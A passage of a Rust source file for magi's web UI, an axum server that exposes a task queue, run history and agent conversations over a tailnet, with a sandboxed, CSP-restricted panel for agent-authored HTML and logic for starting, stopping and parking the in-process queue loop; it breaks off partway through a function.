Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291/// Everything the handlers touch.
292///
293/// The queue, the runs directory and the magi home are fields rather than
294/// process-global lookups so a test drives the real router against a temp
295/// directory instead of the operator's own history.
296#[derive(Debug, Clone)]
297pub struct Ui {
298    queue: Queue,
299    questions: Questions,
300    /// `<home>/notifications`, the bell's own store. Derived from `home` in
301    /// [`Ui::new`] so no constructor signature had to grow.
302    notices: Notices,
303    talks: Talks,
304    runs: PathBuf,
305    home: PathBuf,
306    repo: PathBuf,
307    /// Where the runs' worktrees live, for the health disk figures.
308    ///
309    /// Spelled independently of [`crate::run::default_worktree_root`] so the
310    /// test servers can point it at their own temp directory: the health route
311    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
312    /// be measuring the machine instead of the server.
313    worktrees_root: PathBuf,
314    /// Talks with an agent turn in flight right now.
315    ///
316    /// In-process and therefore not durable, which is correct: it guards
317    /// against two taps on one phone and two phones on one tailnet, both of
318    /// which are this process's own concurrency. A second `magi web` would not
319    /// see it, and a second `magi web` on the same home is already a
320    /// misconfiguration the queue's claims would catch first.
321    talk_turns: Arc<Mutex<TalkTurns>>,
322    /// Held by `POST /api/upgrade` from its busy-stage check until the first
323    /// progress record is written, so two taps cannot both start an upgrade.
324    /// After that `upgrade.json` carries the exclusion.
325    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
327    /// exclusion in memory for when `upgrade.json` could not be written.
328    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329    /// Runs this process is resuming right now.
330    ///
331    /// Separate from `talk_turns` because a run and a talk are different
332    /// things to hold, and a resume is far more expensive to start twice: it
333    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
334    /// guards two taps and two phones, which is this process's own
335    /// concurrency.
336    resuming: Arc<Mutex<HashSet<String>>>,
337    /// The last scan of `[repos] roots`, and when it happened. Shared across
338    /// requests so polling `GET /api/repos` repeatedly does not repeat the
339    /// filesystem walk every time - see [`repos::Cache`].
340    repos_cache: repos::Cache,
341    /// The machine-config file the settings screen reads and writes: always
342    /// [`Config::machine_layer`], never anything a request names. A field so a
343    /// test can point it at its own temp directory instead of the operator's.
344    machine_config: Option<PathBuf>,
345    /// Merge mode override handed to the loop this process starts.
346    merge: Option<String>,
347    /// The loop this process is running, if it is running one.
348    looping: Arc<Mutex<LoopState>>,
349    /// How a loop is actually started.
350    ///
351    /// A field rather than a direct call to [`daemon::serve_until`], because
352    /// the real loop resolves its queue and its status file through the
353    /// process-global magi home and claims whatever it finds there. A test
354    /// that started it would reach straight past its own temp directory into
355    /// the operator's live queue, overwrite the status file of the `magi
356    /// serve` that owns it, and spend real agent quota on a real competition.
357    /// What the routes have to get right is the bookkeeping, so the tests
358    /// drive the routes against a loop that only starts and stops; production
359    /// is [`launch_daemon`] and nothing reassigns it.
360    launch: Launch,
361    /// A test-only stop point inside `talk_say`'s busy branch. See
362    /// [`BusyQueueGate`].
363    #[cfg(test)]
364    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367/// A one-shot stop point the busy branch's queued-draft write can be made to
368/// pause at, right before [`talk::queue`] runs.
369///
370/// Exists because a test cannot otherwise pin *when*, relative to the turn
371/// slot being freed, that write happens: `blocking` runs it on
372/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
373/// already finished, so counting polls on the handler future to park it at a
374/// particular `.await` is a guess about scheduling, not a fact about it - see
375/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
376/// used to do exactly that and paid for it with an occasional "async fn
377/// resumed after completion" panic under load.
378///
379/// `reached` fires the instant the write is about to run, so a test waits for
380/// a real event instead of a poll count. `release` then blocks the write
381/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
382/// rather than an async channel because this all happens inside the
383/// `spawn_blocking` closure the write already runs on, off any runtime
384/// worker, so blocking here costs nothing the write was not already going to
385/// cost.
386#[cfg(test)]
387struct BusyQueueGate {
388    reached: tokio::sync::oneshot::Sender<()>,
389    release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396    }
397}
398
399impl Ui {
400    /// A server over explicit paths.
401    pub fn new(
402        queue: Queue,
403        questions: Questions,
404        talks: Talks,
405        runs: PathBuf,
406        home: PathBuf,
407        repo: PathBuf,
408    ) -> Self {
409        Self {
410            queue,
411            questions,
412            notices: Notices::at(home.join("notifications")),
413            talks,
414            runs,
415            home,
416            repo,
417            // The default location, overridden by `with_worktrees_root` - a
418            // builder step rather than a ninth parameter, for the reason
419            // `with_merge` gives.
420            worktrees_root: run::default_worktree_root(),
421            talk_turns: Arc::default(),
422            upgrade_gate: Arc::default(),
423            upgrade_spawned: Arc::default(),
424            resuming: Arc::default(),
425            repos_cache: repos::Cache::new(),
426            machine_config: Config::machine_layer(),
427            merge: None,
428            looping: Arc::default(),
429            launch: launch_daemon,
430            #[cfg(test)]
431            busy_queue_gate: Arc::default(),
432        }
433    }
434
435    /// The operator's own state: `<home>/queue`, `<home>/questions`,
436    /// `<home>/talks`, `<home>/runs`.
437    pub fn open(repo: PathBuf) -> Self {
438        Self::new(
439            Queue::open(),
440            Questions::open(),
441            Talks::open(),
442            run::runs_root(),
443            run::home(),
444            repo,
445        )
446    }
447
448    /// The merge mode the loop should use, as the command line gave it.
449    ///
450    /// A builder step rather than a seventh parameter on [`Ui::new`], because
451    /// the override is a property of how this process was invoked and not of
452    /// where its state lives - which is all the tests that build a `Ui` by
453    /// hand are saying.
454    #[must_use]
455    pub fn with_merge(mut self, merge: Option<String>) -> Self {
456        self.merge = merge;
457        self
458    }
459
460    /// The machine-config file the settings screen writes, when it is not
461    /// [`Config::machine_layer`] (tests).
462    #[cfg(test)]
463    #[must_use]
464    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465        self.machine_config = path;
466        self
467    }
468
469    /// Where the runs' worktrees live, when it is not the default.
470    ///
471    /// The health view sizes this directory, so a test that leaves it at the
472    /// default would be measuring the operator's own machine.
473    #[must_use]
474    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475        self.worktrees_root = root;
476        self
477    }
478
479    /// Point the loop at something other than [`launch_daemon`].
480    ///
481    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
482    /// this crate may start the real loop.
483    #[cfg(test)]
484    #[must_use]
485    fn with_launch(mut self, launch: Launch) -> Self {
486        self.launch = launch;
487        self
488    }
489
490    /// Install a [`BusyQueueGate`] for the next pass through the busy
491    /// branch's queued-draft write, replacing any earlier one.
492    ///
493    /// A setter on `&self` rather than a `with_*` builder consumed once,
494    /// because a test that drives the busy branch more than once (as
495    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
496    /// to build confidence the interleaving is handled deterministically and
497    /// not just on a lucky run) needs a fresh channel pair each time, on the
498    /// one `Ui` it already built its temp directories around.
499    #[cfg(test)]
500    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501        *self
502            .busy_queue_gate
503            .lock()
504            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505    }
506
507    /// The loop's state, for [`serve`]'s own way out.
508    fn looping(&self) -> Arc<Mutex<LoopState>> {
509        Arc::clone(&self.looping)
510    }
511
512    /// Start the loop in this process, or say who already has one.
513    ///
514    /// `foreign` is passed in rather than read here so that one request makes
515    /// one judgement about who owns the loop: reading the status file again
516    /// inside this function could refuse a start for a daemon the same
517    /// response then reports as gone.
518    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519        if let Some(other) = foreign {
520            return Err(ApiError::conflict(format!(
521                "{} is already running the loop, so this one will not start a \
522                 second: two loops on one queue race for the same claims and \
523                 burn the agent quota twice over. Stop it where it was \
524                 started.",
525                other.who()
526            )));
527        }
528        let mut state = self.lock_loop();
529        if state.live.as_ref().is_some_and(Live::alive) {
530            return Err(ApiError::conflict(format!(
531                "this magi web process (pid {}) is already running the loop",
532                std::process::id()
533            )));
534        }
535
536        let stop = daemon::Stop::new();
537        // The CLI's own defaults for everything the UI has no opinion about:
538        // one poll interval and one retry budget, so a loop started from a
539        // phone behaves exactly like the `magi serve` it replaces.
540        let opts = daemon::Opts {
541            repo: self.repo.clone(),
542            merge: self.merge.clone(),
543            // Whatever this `Ui` already reports worktree sizes and folds
544            // against (see `with_worktrees_root`) is what the loop it starts
545            // must reclaim orphaned worktrees under too - two different
546            // opinions about where the worktree bay is would leave the
547            // janitor pass reclaiming a directory nothing else on this
548            // process is even looking at.
549            worktrees_root: Some(self.worktrees_root.clone()),
550            ..daemon::Opts::default()
551        };
552        let launch = self.launch;
553        let looping = Arc::clone(&self.looping);
554        let handle = tokio::spawn({
555            let opts = opts.clone();
556            let stop = stop.clone();
557            async move {
558                let failure = match launch(opts, stop).await {
559                    Ok(()) => None,
560                    Err(e) => Some(format!("{e:#}")),
561                };
562                match &failure {
563                    Some(why) => tracing::error!("the loop stopped: {why}"),
564                    None => tracing::info!("the loop stopped"),
565                }
566                // Recorded by the task itself rather than reaped by whichever
567                // request happens next, so `loop_rev` moves the moment the
568                // loop ends and a phone with the change stream open learns
569                // that it did. Clearing `live` drops this task's own handle,
570                // which only detaches it, and is the last thing it does.
571                let mut state = lock_or_recover(&looping);
572                state.live = None;
573                state.last_error = failure;
574                state.rev += 1;
575            }
576        });
577        tracing::info!(
578            "the loop is now running in this process: repo {}, merge {}",
579            opts.repo.display(),
580            opts.merge.as_deref().unwrap_or("as the config says")
581        );
582        state.live = Some(Live { stop, handle, opts });
583        // A fresh start is not the place to keep showing why the last one
584        // died; the operator has read it and pressed the button anyway.
585        state.last_error = None;
586        state.rev += 1;
587        Ok(())
588    }
589
590    /// Ask the loop to stop, without waiting for it to get there.
591    ///
592    /// Idempotent: a second tap on stop is not an error, because the first one
593    /// leaves the loop running for as long as the run in flight takes and the
594    /// operator has no way to tell a slow stop from a lost one.
595    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596        if let Some(other) = foreign {
597            return Err(ApiError::conflict(format!(
598                "the loop belongs to {}, and this process cannot stop it - \
599                 stop it where it was started. A button that silently did \
600                 nothing would be worse than this refusal.",
601                other.who()
602            )));
603        }
604        let mut state = self.lock_loop();
605        // An operator who stops the loop has decided it stays stopped, even
606        // across an upgrade that was already in flight.
607        if !park {
608            state.resume_after_handover = false;
609        }
610        let Some(live) = state.live.as_ref() else {
611            return Ok(());
612        };
613        // A park upgrades a stop that has already been asked for: the
614        // operator who tapped "stop" and then realised the run has an hour
615        // left must not have to restart the loop to change their mind.
616        if live.stop.stopped() && (!park || live.stop.parking()) {
617            return Ok(());
618        }
619        if park {
620            live.stop.park();
621            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622        } else {
623            live.stop.stop();
624            tracing::info!("the loop was asked to stop; a run in flight is finished first");
625        }
626        state.rev += 1;
627        Ok(())
628    }
629
630    /// The loop as both `/api/loop` and `/api/health` report it.
631    ///
632    /// `reading` is the caller's single read of `<home>/daemon.json`, because
633    /// health answers with this view *and* the daemon object beside it: one
634    /// read per response is what stops a single answer naming a foreign owner
635    /// in one field and calling the loop free in the other.
636    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637        let state = self.lock_loop();
638        // A loop that panicked never recorded its own end, so the handle -
639        // not the presence of the record - is what "running" means.
640        let live = state.live.as_ref().filter(|live| live.alive());
641        LoopView {
642            running: live.is_some(),
643            stopping: live.is_some_and(|live| live.stop.finishing()),
644            parking: live.is_some_and(|live| live.stop.parking()),
645            owned: live.is_some(),
646            repo: live
647                .map_or(&self.repo, |live| &live.opts.repo)
648                .display()
649                .to_string(),
650            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651            last_error: state.last_error.clone(),
652            daemon: DaemonView::of(reading),
653        }
654    }
655
656    /// Start the loop in a successor whose predecessor was running one.
657    ///
658    /// Goes through the same path as the UI's start-loop action. A refusal
659    /// (another process owns the loop) is logged and left in `last_error`;
660    /// the loop then simply stays stopped.
661    fn resume_after_handover(&self, resume: bool) -> bool {
662        if !resume {
663            return false;
664        }
665        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666        match self.start_loop(foreign) {
667            Ok(()) => true,
668            Err(e) => {
669                let why = format!(
670                    "the loop could not be resumed after the upgrade: {}",
671                    e.message
672                );
673                tracing::warn!("{why}");
674                let mut state = self.lock_loop();
675                state.last_error = Some(why);
676                state.rev += 1;
677                false
678            }
679        }
680    }
681
682    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
683    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684        lock_or_recover(&self.looping)
685    }
686
687    /// Whether this process currently owns the agent turn for `id`.
688    ///
689    /// This deliberately describes only the in-memory claim made by
690    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
691    /// never persisted with a [`Talk`].
692    fn is_thinking(&self, id: &str) -> bool {
693        self.talk_turns
694            .lock()
695            .is_ok_and(|turns| turns.live.contains(id))
696            // Another process (the CLI) can hold the turn through the
697            // on-disk lease.
698            || self.talks.turn_held(id)
699    }
700
701    /// Claim the right to run one turn in a talk, or report that it is busy.
702    ///
703    /// A talk is strictly turn-based: the agent is resumed with the
704    /// conversation it already has, so two turns running at once would resume
705    /// the same session twice and append their answers in whatever order the
706    /// two CLIs finished in. The operator would come back to a transcript
707    /// with two half-turns interleaved, which is unreadable and, worse,
708    /// unfixable - there is no undo for a persisted turn.
709    ///
710    /// A busy result is queued as a durable draft by [`talk_say`], rather than
711    /// starting a second CLI invocation for the same session.
712    ///
713    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
714    /// taken to test-and-insert and released before the agent is spawned. The
715    /// returned guard removes the id on drop, which is what makes a panicking
716    /// handler or a phone that walks out of range leave the talk usable - axum
717    /// drops the handler future when the client disconnects, and without the
718    /// guard that talk would be wedged until the server restarted.
719    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720        self.claim_talk_turn(id, false)
721    }
722
723    /// Claim a turn after durably queueing a draft, or notify its current
724    /// owner that a drainer must recheck before it releases the slot.
725    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726        self.claim_talk_turn(id, true)
727    }
728
729    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730        let mut live = self
731            .talk_turns
732            .lock()
733            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734        if live.parking {
735            if queued {
736                // The draft is already durable; nothing may drain it until
737                // the successor is up, so the caller sees a busy slot.
738                *live.queued.entry(id.to_owned()).or_default() += 1;
739                return Ok(None);
740            }
741            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742        }
743        let inserted = live.live.insert(id.to_owned());
744        // The on-disk lease is the cross-process half of the gate. Taken
745        // second, and undone if lost, so `live` never claims a turn the lease
746        // refused.
747        let lease = if inserted {
748            match self.talks.claim_turn(id) {
749                Ok(Some(lease)) => Some(lease),
750                Ok(None) => {
751                    live.live.remove(id);
752                    None
753                }
754                Err(e) => {
755                    live.live.remove(id);
756                    return Err(ApiError::from(e));
757                }
758            }
759        } else {
760            None
761        };
762        if lease.is_none() {
763            if queued {
764                // A queued write has landed before this busy check.
765                // `drain_loop` uses this generation to recheck after its
766                // off-thread disk read, so it cannot release a turn between
767                // this check and the write.
768                *live.queued.entry(id.to_owned()).or_default() += 1;
769            }
770            return Ok(None);
771        }
772        Ok(Some(TalkTurnGuard {
773            talk: id.to_owned(),
774            turns: Arc::clone(&self.talk_turns),
775            released: false,
776            lease,
777        }))
778    }
779
780    /// Decide whether a free talk may start a new immediate turn while its
781    /// claim lock is held. A persisted draft without an owner is recovery
782    /// state, not a busy turn: two simultaneous `/say` requests must both
783    /// leave it untouched rather than one of them appending to it.
784    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785        let mut live = self
786            .talk_turns
787            .lock()
788            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789        // Same answer as a running turn: the text is queued as a draft.
790        if live.parking || live.live.contains(id) {
791            return Ok(TalkTurnStart::Busy);
792        }
793        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794            return Ok(TalkTurnStart::Foreign);
795        };
796        // A refused `Pending` below drops the lease again.
797        let talk = self.talks.get(id).map_err(ApiError::from)?;
798        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799            return Ok(TalkTurnStart::Pending);
800        }
801        live.live.insert(id.to_owned());
802        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803            talk: id.to_owned(),
804            turns: Arc::clone(&self.talk_turns),
805            released: false,
806            lease: Some(lease),
807        }))
808    }
809
810    fn queued_generation(&self, id: &str) -> u64 {
811        let live = self
812            .talk_turns
813            .lock()
814            .unwrap_or_else(PoisonError::into_inner);
815        live.queued.get(id).copied().unwrap_or(0)
816    }
817
818    /// The shared turn slots, for the upgrade hand-over to wait on.
819    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820        Arc::clone(&self.talk_turns)
821    }
822
823    /// Park the loop for an upgrade, and report the run that is parking.
824    ///
825    /// A park rather than a stop: a stop waits out the whole competition, and
826    /// not waiting is the point of upgrading from a phone. `None` means
827    /// nothing was in flight, which is worth saying so the operator is not
828    /// told a run is parking when none is.
829    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
830        let parking = {
831            let mut state = self.lock_loop();
832            // Decided here, before the park: by the time the handover fires
833            // an idle loop has already seen the park and ended, so `live`
834            // would read as "was never running". A loop the operator had
835            // already stopped stays stopped.
836            //
837            // Sticky: a second upgrade request finds the loop already
838            // stopping because of the first one's park, and must not read
839            // that as the operator having stopped it. Only an explicit stop
840            // or a failed update clears an earlier intent.
841            let resume = state.resume_after_handover
842                || state
843                    .live
844                    .as_ref()
845                    .is_some_and(|live| live.alive() && !live.stop.stopped());
846            state.resume_after_handover = resume;
847            let Some(live) = state.live.as_ref() else {
848                return Ok(None);
849            };
850            let busy = live.stop.busy_now();
851            live.stop.park();
852            state.rev += 1;
853            busy
854        };
855        Ok(if parking {
856            // More than one run can be in flight now (see
857            // `Config::daemon.max_concurrent_runs`); this answer names one of
858            // them so the operator sees a park actually happened, not every
859            // run a park now asks to stop at its next boundary.
860            daemon::current_work(&self.home, jiff::Timestamp::now())
861                .into_iter()
862                .next()
863                .map(|c| c.run)
864        } else {
865            None
866        })
867    }
868
869    /// Claim a run for a resume, on the same reasoning as
870    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
871    /// disconnected phone does not wedge the run until the server restarts.
872    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
873        let mut live = self
874            .resuming
875            .lock()
876            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
877        if !live.insert(id.to_owned()) {
